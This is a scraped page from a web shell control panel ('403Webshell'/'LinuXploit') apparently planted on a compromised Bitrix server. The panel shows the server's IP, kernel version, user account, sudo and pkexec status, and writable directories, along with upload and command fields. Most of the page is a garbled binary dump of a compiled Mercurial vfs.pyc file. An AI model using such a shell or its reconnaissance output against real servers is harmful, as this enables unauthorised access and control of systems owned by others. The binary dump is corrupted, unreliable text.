403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/vfs.cpython-39.pyc
a

�+�b�c�@sddlmZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZmZm
Z
ddlmZmZmZm
Z
mZdd�ZGd	d
�d
e�ZGdd�de�ZeZGd
d�de�ZGdd�dee�ZeZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)�)�absolute_importN�)�_)�delattr�getattr�setattr)�encoding�error�pathutil�pycompat�utilcs0��fdd�}|�s,t�t�����|�dS)z�Avoid file stat ambiguity forcibly

    This function causes copying ``path`` file, if it is owned by
    another (see issue5418 and issue5584 for detail).
    cs$tj���}|���p"|����S�N)r�filestat�frompathZisambigZ
avoidambig)Znewstat��oldstat�path��3/usr/lib64/python3.9/site-packages/mercurial/vfs.py�
checkandavoid&sz"_avoidambig.<locals>.checkandavoidN)r�rename�
mktempcopy)rrrrrr�_avoidambigsrc@s�eZdZdZdZdd�Zdkdd�Zdd	�Zd
d�Zdd
�Z	dldd�Z
ejdd��Z
dd�Zdmdd�Zdndd�Zdodd�Zdd�Zdd�Zd d!�Zd"d#�Zdpd%d&�Zd'd(�Zdqd)d*�Zdrd+d,�Zdsd-d.�Zdtd/d0�Zd1d2�Zd3d4�Zd5d6�Zdud7d8�Zdvd9d:�Z dwd;d<�Z!dxd>d?�Z"dyd@dA�Z#dBdC�Z$dzdDdE�Z%d{dHdI�Z&d|dJdK�Z'dLdM�Z(d}dNdO�Z)dPdQ�Z*d~dRdS�Z+ddTdU�Z,d�dVdW�Z-dXdY�Z.d�dZd[�Z/d�d\d]�Z0d�d^d_�Z1d�d`da�Z2d�dbdc�Z3d�ddde�Z4e5j6d�dgdh��Z7didj�Z8d$S)��abstractvfsz+Abstract base class; cannot be instantiated�/cOstdtt|����dS)z7Prevent instantiation; don't call this from subclasses.�attempted instantiating N��NotImplementedError�str�type)�self�args�kwargsrrr�__init__=szabstractvfs.__init__�rbcKst�dSr
�r)r r�moder"rrr�__call__Aszabstractvfs.__call__cCst�dSr
r%�r rr&rrr�
_auditpathDszabstractvfs._auditpathcGst�dSr
r%�r r�insidefrrr�joinGszabstractvfs.joinc
CsDz|�|�WSty>}z|jtjkr*�WYd}~n
d}~00dS)z3gracefully return an empty string for missing filesN�)�read�IOError�errno�ENOENT)r r�instrrr�tryreadJszabstractvfs.tryreadc
CsHz|j||d�WStyB}z|jtjkr.�WYd}~n
d}~00gS)z2gracefully return an empty array for missing files�r&N)�	readlinesr/r0r1)r rr&r2rrr�tryreadlinesSszabstractvfs.tryreadlinescCs|jS)z�Open ``path`` file, which is relative to vfs root.

        Newly created directories are marked as "not to be indexed by
        the content indexing service", if ``notindexed`` is specified
        for "write" mode access.
        )r'�r rrr�open\szabstractvfs.opencCs6||d��}|��Wd�S1s(0YdS)Nr$)r.)r r�fprrrr.fszabstractvfs.readcCs8|||d��}|��Wd�S1s*0YdS)Nr4)r5)r rr&r9rrrr5jszabstractvfs.readlinesFcKsD||dfd|i|���}|�|�Wd�S1s60YdS)N�wb�backgroundclose��write)r r�datar;r"r9rrrr=nszabstractvfs.writer:cCs<||||d��}|�|�Wd�S1s.0YdS)N)r&�
notindexed)�
writelines)r rr>r&r?r9rrrr@rszabstractvfs.writelinescCs8||d��}|�|�Wd�S1s*0YdS)Nsabr<)r rr>r9rrr�appendvszabstractvfs.appendcCstj�|�S)z�return base element of a path (as os.path.basename would do)

        This exists to allow handling of strange encoding if needed.)�osr�basename�r rrrrrCzszabstractvfs.basenamecCst�|�|�|�Sr
)rB�chmodr,r(rrrrE�szabstractvfs.chmodcCstj�|�S)z�return dirname element of a path (as os.path.dirname would do)

        This exists to allow handling of strange encoding if needed.)rBr�dirnamerDrrrrF�szabstractvfs.dirnameNcCstj�|�|��Sr
)rBr�existsr,rDrrrrG�szabstractvfs.existscCs
t�|�Sr
)r�fstat)r r9rrrrH�szabstractvfs.fstatcCstj�|�|��Sr
)rBr�isdirr,rDrrrrI�szabstractvfs.isdircCstj�|�|��Sr
)rBr�isfiler,rDrrrrJ�szabstractvfs.isfilecCstj�|�|��Sr
)rBr�islinkr,rDrrrrK�szabstractvfs.islinkcCs>z|�|�}Wnty"YdS0|j}t�|�p<t�|�S)zhreturn whether path is a regular file or a symlink

        Unlike isfile, this doesn't follow symlinks.F)�lstat�OSError�st_mode�stat�S_ISREG�S_ISLNK)r r�str&rrr�isfileorlink�szabstractvfs.isfileorlinkcGs`d}t|�D]$\}}tj�|�s,|�|j�r|}q|dkrF||d�}dd�|D�}|j�|�S)NrcSsg|]}|r|�qSrr)�.0�prrr�
<listcomp>�r-z%abstractvfs._join.<locals>.<listcomp>)�	enumeraterBr�isabs�
startswith�_dir_sepr,)r �pathsZroot_idx�idxrUrrr�_join�szabstractvfs._joincGs
|j|�S)z�join various elements of a path together (as os.path.join would do)

        The vfs base is not injected so that path stay relative. This exists
        to allow handling of strange encoding if needed.)r])r r[rrr�reljoin�szabstractvfs.reljoincCstj�|�S)z�split top-most element of a path (as os.path.split would do)

        This exists to allow handling of strange encoding if needed.)rBr�splitrDrrrr_�szabstractvfs.splitcCstj�|�|��Sr
)rBr�lexistsr,rDrrrr`�szabstractvfs.lexistscCst�|�|��Sr
)rBrLr,rDrrrrL�szabstractvfs.lstatcCst�|�|��Sr
)rB�listdirr,rDrrrra�szabstractvfs.listdirTcCst�|�|�|�Sr
)r�makedirr,)r rr?rrrrb�szabstractvfs.makedircCst�|�|�|�Sr
)r�makedirsr,r(rrrrc�szabstractvfs.makedirscCst�||�|��Sr
)r�makelockr,)r �inforrrrrd�szabstractvfs.makelockcCst�|�|��Sr
)rB�mkdirr,rDrrrrf�szabstractvfs.mkdirr-�tmpcCsJtj|||�|�d�\}}t�|�\}}|r>|tj�||�fS||fSdS)N)�suffix�prefix�dir)r�mkstempr,rr_rBr)r rhrirj�fd�nameZdname�fnamerrrrk�s�
zabstractvfs.mkstempcCst�|�|�||�Sr
)rrar,)r rrO�skiprrr�readdir�szabstractvfs.readdircCst�|�|��Sr
)r�readlockr,rDrrrrq�szabstractvfs.readlockcCs`|�|d�|�|�}|�|�}|o.tj�|�}|rT|jrTt�||�}t||�|St�||�S)a�Rename from src to dst

        checkambig argument is used with util.filestat, and is useful
        only if destination file is guarded by any lock
        (e.g. repo.lock or repo.wlock).

        To avoid file stat ambiguity forcibly, checkambig=True involves
        copying ``src`` file, if it is owned by another. Therefore, use
        checkambig=True only in limited cases (see also issue5418 and
        issue5584 for detail).
        �w)r)r,rrrrOrr)r �src�dst�
checkambigZsrcpathZdstpathr�retrrrr�s



zabstractvfs.renamecCst�|�|��Sr
)r�readlinkr,rDrrrrw�szabstractvfs.readlinkcCst�|�|��S)z7Remove a leaf directory and all empty intermediate ones)r�
removedirsr,rDrrrrx�szabstractvfs.removedirscCst�|�|��S)zRemove an empty directory.)rB�rmdirr,rDrrrry�szabstractvfs.rmdircCs(|rdd�}nd}tj|�|�||d�S)zqRemove a directory tree recursively

        If ``forcibly``, this tries to remove READ-ONLY files, too.
        cSsP|tjur�t�|�}|jtj@dkr(�t�|t�|j�tjB�t�|�dS)Nr)rB�removerOrN�S_IWRITErE�S_IMODE)�functionr�excinfo�srrr�onerrors

z#abstractvfs.rmtree.<locals>.onerrorN)�
ignore_errorsr�)�shutil�rmtreer,)r rr�Zforciblyr�rrrr�s
�zabstractvfs.rmtreecCst�|�|�||�Sr
)r�setflagsr,)r r�l�xrrrr�szabstractvfs.setflagscCst�|�|��Sr
)rBrOr,rDrrrrOszabstractvfs.statcCst�|�|��Sr
)r�unlinkr,rDrrrr�szabstractvfs.unlinkcCst�|�|��dS)z7Attempt to remove a file, ignoring missing file errors.N)r�	tryunlinkr,rDrrrr� szabstractvfs.tryunlinkcCstj|�|�||d�S)N)�
ignoremissingry)r�
unlinkpathr,)r rr�ryrrrr�$s�zabstractvfs.unlinkpathcCst�|�|�|�Sr
)rB�utimer,)r r�trrrr�)szabstractvfs.utimeccsXtj�|�d��}tt�|��}tj|�|�|d�D]\}}}||d�||fVq4dS)a/Yield (dirpath, dirs, files) tuple for each directories under path

        ``dirpath`` is relative one from the root of this vfs. This
        uses ``os.sep`` as path separator, even you specify POSIX
        style ``path``.

        "The root of this vfs" is represented as empty ``dirpath``.
        N)r�)rBr�normpathr,�lenr
Znormasprefix�walk)r rr��rootZ	prefixlen�dirpath�dirs�filesrrrr�,s	zabstractvfs.walk���c	cs�tt��tj�sdVdSt|d|�}t|dd�r@t�td���t||d��0}z||_	|VWd|_	nd|_	0Wd�n1s�0YdS)z�Allow files to be closed asynchronously.

        When this context manager is active, ``backgroundclose`` can be passed
        to ``__call__``/``open`` to result in the file possibly being closed
        asynchronously, on a background thread.
        N�vfs�_backgroundfileclosers-can only have 1 active background file closer)�
expectedcount)
�
isinstance�	threading�current_thread�_MainThreadrr	�Abortr�backgroundfilecloserr�)r �uir�r�Zbfcrrr�backgroundclosing<s(�����zabstractvfs.backgroundclosingcCsdS)z1generic hook point to lets fncache steer its stewNrrDrrr�
register_file^szabstractvfs.register_file)r$)r$)r$)F)r:F)N)N)N)N)N)N)N)N)NT)NN)N)r-rgN)NNN)F)N)N)NFF)N)N)N)NFT)NN)NN)r�)9�__name__�
__module__�__qualname__�__doc__rZr#r'r)r,r3r6r�
propertycacher8r.r5r=r@rArCrErFrGrHrIrJrKrSr]r^r_r`rLrarbrcrdrfrkrprqrrwrxryr�r�rOr�r�r�r�r��
contextlib�contextmanagerr�r�rrrrr2sh
	
	
	



























!rc@s`eZdZdZddd�Zejdd��Zejdd	��Zd
d�Z	dd
�Z
ddd�Zdd�Zdd�Z
dS)r�akOperate files relative to a base directory

    This class is used to hide the details of COW semantics and
    remote file access from higher level code.

    'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
    (b) the base directory is managed by hg and considered sort-of append-only.
    See pathutil.pathauditor() for details.
    TFcCsd|rt�|�}|rtj�|�}||_||_|rBtj|j|d�|_	nddd�|_	d|_
d|_i|_dS)N)�cachedcSsdS�NTr)rr&rrr�<lambda>~r-zvfs.__init__.<locals>.<lambda>)N)
r�
expandpathrBr�realpath�base�_auditr
Zpathauditor�audit�
createmode�_trustnlink�options)r r�r�Zcacheauditedr�r�rrrr#ms
zvfs.__init__cCst�|j�Sr
)rZ	checklinkr�r7rrr�_cansymlink�szvfs._cansymlinkcCst�|j�Sr
)rZ	checkexecr�r7rrr�_chmod�sz
vfs._chmodcCs*|jdus|jsdSt�||jd@�dS)Ni�)r�r�rBrE)r rmrrr�_fixfilemode�szvfs._fixfilemodecCs`|jr\tj�|�r.|�|j�r.tj�||j�}t�|�}|rNt	�
d||f��|j||d�dS)Ns%s: %rr4)r�rBrrXrYr��relpathrZcheckosfilenamer	r�r�)r rr&�rrrrr)�s
zvfs._auditpath�rc	
Cs|r|�||�|�|�}	d|vr*|d7}d}
|dv�rxt�|	�\}}|�rx|rx|rdt�||j|�tj|	||j|d�Sz\d|vr�t�|	�d}
n@t�|	��&t�	|	�}
|
dkr�d}
Wd	�n1s�0YWnRt
tf�y&}
z4|
jtj
kr��d}
|�rt�||j|�WYd	}
~
n
d	}
~
00|
dk�rx|jd	u�rT|
dk�pPt�|	�|_|
dk�sf|j�sxt�t�|	�|	�t�|	|�}|
dk�r�|�|	�|�r�|dv�r�t�td
�|��t|�}|�r�tt��tj��r�|j�s�t�td���t||j�}|S)a�Open ``path`` file, which is relative to vfs root.

        By default, parent directories are created as needed. Newly created
        directories are marked as "not to be indexed by the content indexing
        service", if ``notindexed`` is specified for "write" mode access.
        Set ``makeparentdirs=False`` to not create directories implicitly.

        If ``backgroundclose`` is passed, the file may be closed asynchronously.
        It can only be used if the ``self.backgroundclosing()`` context manager
        is active. This should only be specified if the following criteria hold:

        1. There is a potential for writing thousands of files. Unless you
           are writing thousands of files, the performance benefits of
           asynchronously closing files is not realized.
        2. Files are opened exactly once for the ``backgroundclosing``
           active duration and are therefore free of race conditions between
           closing a file on a background thread and reopening it. (If the
           file were opened multiple times, there could be unflushed data
           because the original file handle hasn't been flushed/closed yet.)

        ``checkambig`` argument is passed to atomictempfile (valid
        only for writing), and is useful only if target file is
        guarded by any lock (e.g. repo.lock or repo.wlock).

        To avoid file stat ambiguity forcibly, checkambig=True involves
        copying ``path`` file opened in "append" mode (e.g. for
        truncation), if it is owned by another. Therefore, use
        combination of append mode and checkambig=True only in limited
        cases (see also issue5418 and issue5584 for detail).
        �br��r�r$)rurrrr�Ns>implementation error: mode %s is not valid for checkambig=TruesSbackgroundclose can only be used when a backgroundclosing context manager is active)r)r,rr_rcr�Zatomictempfiler�Z	posixfileZnlinksrMr/r0r1r�Z
checknlinkrrr�r	r�r�checkambigatclosingr�r�r�r�r��delayclosedfile)r rr&Z
atomictempr?r;ruZ	auditpathZmakeparentdirs�fZnlinkrFrC�er9rrrr'�s~)


�

&&



��������zvfs.__call__c
Cs�|�|�|�|�}t�|�t�tj�|�|j�|j	r�zt�
||�Wq�ty�}z.t|jt
d�|t�|j�f|��WYd}~q�d}~00n|�||�dS)Nscould not symlink to %r: %s)r�r,rr�rcrBrrFr�r��symlinkrMr0rrZ
strtolocal�strerrorr=)r rsrtZlinkname�errrrrr�s 


��zvfs.symlinkcGs,|r"|j|g}|�|�|j|�S|jSdSr
)r��extendr])r rr+�partsrrrr,#s



zvfs.joinN)TFFF)r�FFFFTT)r�r�r�r�r#rr�r�r�r�r)r'r�r,rrrrr�bs,
�


�
vr�c@s6eZdZdd�Zdd�Zedd��Zejdd��ZdS)	�proxyvfscCs
||_dSr
)r��r r�rrrr#0szproxyvfs.__init__cCs|j�||�Sr
)r�r)r(rrrr)3szproxyvfs._auditpathcCs|jjSr
�r�r�r7rrrr�6szproxyvfs.optionscCs||j_dSr
r�)r �valuerrrr�:sN)r�r�r�r#r)�propertyr��setterrrrrr�/s
r�c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�	filtervfsz4Wrapper vfs for filtering filenames with a function.cCst�||�||_dSr
)r�r#�_filter)r r��filterrrrr#Bszfiltervfs.__init__cOs|j|�|�g|�Ri|��Sr
)r�r�)r rr!r"rrrr'Fszfiltervfs.__call__cGs6|r&|j�|�|jj|g|�R���S|j�|�SdSr
)r�r,r�r^r*rrrr,Is"zfiltervfs.joinN�r�r�r�r�r#r'r,rrrrr�?sr�c@s*eZdZdZdd�Zd
dd�Zdd�Zd	S)�readonlyvfsz#Wrapper vfs preventing any writing.cCst�||�dSr
)r�r#r�rrrr#Vszreadonlyvfs.__init__r�cOs0|dvrt�td���|j||g|�Ri|��S)Nr�sthis vfs is read only)r	r�rr�)r rr&r!�kwrrrr'Yszreadonlyvfs.__call__cGs|jj|g|�R�Sr
)r�r,r*rrrr,^szreadonlyvfs.joinN)r�r�rrrrr�Ss
r�c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�
closewrapbasezaBase class of wrapper, which hooks closing

    Do not instantiate outside of the vfs layer.
    cCst�|d|�dS)N�_origfh)�object�__setattr__�r �fhrrrr#hszclosewrapbase.__init__cCst|j|�Sr
)rr��r �attrrrr�__getattr__kszclosewrapbase.__getattr__cCst|j||�Sr
)rr�)r r�r�rrrr�nszclosewrapbase.__setattr__cCst|j|�Sr
)rr�r�rrr�__delattr__qszclosewrapbase.__delattr__cCs|j��|Sr
)r��	__enter__r7rrrr�ts
zclosewrapbase.__enter__cCstdtt|����dS�Nrr�r �exc_type�	exc_value�exc_tbrrr�__exit__xszclosewrapbase.__exit__cCstdtt|����dSr�rr7rrr�close{szclosewrapbase.closeN)r�r�r�r�r#r�r�r�r�r�r�rrrrr�bsr�cs0eZdZdZ�fdd�Zdd�Zdd�Z�ZS)r�zfProxy for a file object whose close is delayed.

    Do not instantiate outside of the vfs layer.
    cs"tt|��|�t�|d|�dS)N�_closer)�superr�r#r�r�)r r�Zcloser��	__class__rrr#�szdelayclosedfile.__init__cCs|j�|j�dSr
�r�r�r�r�rrrr��szdelayclosedfile.__exit__cCs|j�|j�dSr
r�r7rrrr��szdelayclosedfile.close)r�r�r�r�r#r�r��
__classcell__rrr�rr�sr�c@s:eZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)r�zCCoordinates background closing of file handles on multiple threads.r�c
Cs�d|_d|_g|_d|_tj}|�dd|�}|s4dS|�dd�}|dkrT||krTdS|�dd�}|�dd�}|�d|�tj	j
|d	�|_d
|_t|�D](}t
j|jdd�}	|j�|	�|	��q�dS)
NFsworkersbackgroundclosesbackgroundcloseminfilecountrsbackgroundclosemaxqueuesbackgroundclosethreadcounts0starting %d threads for background file closing
)�maxsizeTZbackgroundcloser)�targetrm)�_running�_entered�_threads�_threadexceptionrZ	iswindowsZ
configboolZ	configint�debug�queueZQueue�_queue�ranger��Thread�_workerrA�start)
r r�r�ZdefaultenabledZenabledZminfilecountZmaxqueueZthreadcount�ir�rrrr#�s,�zbackgroundfilecloser.__init__cCs
d|_|Sr�)r�r7rrrr��szbackgroundfilecloser.__enter__cCsd|_|jD]}|��qdS)NF)r�r�r,)r r�r�r�r�rrrr��s
zbackgroundfilecloser.__exit__c
CstzL|jjddd�}z|��Wn*tyH}z||_WYd}~n
d}~00Wqtjjyl|jshYqpYq0qdS)zMain routine for worker thread.Tg�������?��block�timeoutN)	r��getr��	Exceptionr�rr�ZEmptyr��r r�r�rrrr��s zbackgroundfilecloser._workercCsR|jst�td���|jr*|j}d|_|�|js<|��dS|jj|ddd�dS)zSchedule a file for closing.s1can only call close() when context manager activeNTr�)	r�r	r�rr�r�r�r�Zputr�rrrr��s�zbackgroundfilecloser.closeN)r�)	r�r�r�r�r#r�r�r�r�rrrrr��s
&r�cs8eZdZdZ�fdd�Zdd�Zdd�Zdd	�Z�ZS)
r�a"Proxy for a file object, to avoid ambiguity of file stat

    See also util.filestat for detail about "ambiguity of file stat".

    This proxy is useful only if the target file is guarded by any
    lock (e.g. repo.lock or repo.wlock)

    Do not instantiate outside of the vfs layer.
    cs,tt|��|�t�|dtj�|j��dS)N�_oldstat)	r�r�r#r�r�rrrrmr�r�rrr#�szcheckambigatclosing.__init__cCs|j}|jrt|jj|�dSr
)r�rOrr�rm)r rrrr�_checkambig�szcheckambigatclosing._checkambigcCs|j�|||�|��dSr
)r�r�r�r�rrrr�szcheckambigatclosing.__exit__cCs|j��|��dSr
)r�r�r�r7rrrr�s
zcheckambigatclosing.close)	r�r�r�r�r#r�r�r�r�rrr�rr��s

r�) Z
__future__rr�r0rBr�rOr�Zi18nrrrrr�rr	r
rrr�rr��openerr�r�Zfilteropenerr�r�r�r�r�rrrr�<module>s0	2K\

Youez - 2016 - github.com/yon3zu
LinuXploit